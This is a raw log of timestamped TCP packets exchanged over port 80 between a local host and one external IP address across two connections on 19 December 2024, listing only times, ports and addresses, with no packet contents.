Dec 19, 2024 08:52:42.852085114 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.852195978 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.857330084 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.860450029 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.860770941 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.860855103 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.868895054 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.869025946 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.869415045 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.877588034 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.877635956 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.877885103 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.885613918 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.885720968 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.885827065 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.893963099 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.894052029 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.894128084 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.902421951 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.902487993 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.902570963 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.912801027 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.912965059 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.913045883 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.917979956 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.918328047 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.918411016 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.921225071 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.921289921 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.921349049 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.926304102 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.926359892 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.926789045 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.929790974 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.929888964 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.929949999 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.935096025 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.935188055 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.935276985 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.940304995 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.940407038 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.940545082 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.948718071 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.970072985 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.970139027 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.970156908 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:42.972609043 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:42.972691059 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.033561945 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.033636093 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.033737898 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.036329985 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.036875963 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.036983013 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.037578106 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.041810989 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.041896105 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.041968107 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.046919107 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.046987057 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.047350883 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.051803112 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.051857948 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.051934004 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.056169987 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.056277037 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.056283951 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.062800884 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.062814951 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.062886953 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.064582109 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.064651966 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.064763069 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.068550110 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.068562984 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.068648100 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.072046995 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.072115898 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.072170019 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.075840950 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.075917006 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.075937986 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.079540968 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.079644918 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.079678059 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.083307981 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.083416939 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.083432913 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.087256908 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.087301970 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.087328911 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.091017962 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.091079950 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.091181040 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.094805002 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.094819069 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.094974995 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.098639011 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.098656893 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.098696947 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.101654053 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.101670027 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.101717949 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.104185104 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.104279041 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.104361057 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.106939077 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.107028961 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.107121944 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.153683901 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.153816938 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.153978109 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.155071020 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.155152082 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.155241966 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.157912016 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.158065081 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.163459063 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.163640976 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.163830996 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.164876938 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.164891005 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.165061951 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.166734934 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.166749001 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.166841030 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.225249052 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.225332975 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.225392103 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.226417065 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.226850033 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.226927996 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.226970911 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.229450941 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.229499102 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.229677916 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.231210947 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.231283903 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.231307983 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.233596087 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.233673096 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.233674049 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.235944033 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.235990047 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.236069918 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.238269091 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.238322973 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.238373995 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.240623951 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.240677118 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.240712881 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.242969036 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.243047953 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.243083000 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.245409966 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.245476961 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.245544910 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.247668028 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.247739077 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.247762918 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.250022888 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.250107050 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.250155926 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.252407074 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.252523899 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.252530098 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.254719019 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.254779100 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.254818916 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.257076979 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.257230997 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.257263899 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.259438038 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.259514093 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.259589911 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.261781931 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.261850119 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.261889935 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.264122963 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.264230967 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.264242887 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.266460896 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.266513109 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.266547918 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.268838882 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.268917084 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.268938065 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.271156073 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.271243095 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.271317005 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.273497105 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.273586988 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.273601055 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.275891066 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.275985003 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.276062965 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.278237104 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.278312922 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.278328896 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.280330896 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.280430079 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.280471087 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.282356977 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.282443047 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.282464027 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.284389973 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.284440041 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.284470081 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.286298037 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.286413908 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.286487103 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.288290977 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.288355112 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.288439989 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.290307045 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.290358067 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.290426016 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.292208910 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.292300940 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.292315960 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.294105053 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.294162035 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.294261932 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.296154022 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.296180010 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.296322107 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.297902107 CET	80	49704	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:43.297995090 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.341366053 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:43.661676884 CET	49704	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:53.057322025 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:53.176788092 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:53.176922083 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:53.206274986 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:53.325773001 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428613901 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428690910 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428724051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428807020 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428843021 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.428858995 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.428919077 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.429193974 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.429229021 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.429282904 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.429573059 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.429606915 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.429630995 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.429642916 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.430469990 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.548631907 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.548683882 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.548796892 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.620696068 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.620790005 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.620892048 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.624836922 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.624917030 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.624995947 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.633053064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.636107922 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.636188984 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.636217117 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.644545078 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.644618988 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.644699097 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.652971029 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.653019905 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.653033018 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.661212921 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.661282063 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.661287069 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.669585943 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.669648886 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.669658899 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.677993059 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.678046942 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.678077936 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.686391115 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.686433077 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.686515093 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.694681883 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.694813013 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.694873095 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.703025103 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.703200102 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.740658998 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.785842896 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.812680006 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.812756062 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.812886953 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.815196991 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.815273046 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.815371037 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.820296049 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.820350885 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.820410967 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.825397015 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.825449944 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.825551033 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.830190897 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.830282927 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.830362082 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.835084915 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.835158110 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.835205078 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.839942932 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.840049982 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.840210915 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.844815969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.844891071 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.844960928 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.849697113 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.849808931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.850034952 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.854567051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.854645014 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.854702950 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.859426975 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.859498978 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.859563112 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.864285946 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.864408970 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.864475012 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.869209051 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.869316101 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.869483948 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.874047995 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.874134064 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.874188900 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.878881931 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.878977060 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.879034996 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.883754969 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.883843899 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.883898020 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.889030933 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.889108896 CET	80	49705	147.45.47.15	192.168.2.5
Dec 19, 2024 08:52:54.889166117 CET	49705	80	192.168.2.5	147.45.47.15
Dec 19, 2024 08:52:54.893520117 CET	80	49705	147.45.47.15	192.168.2.5
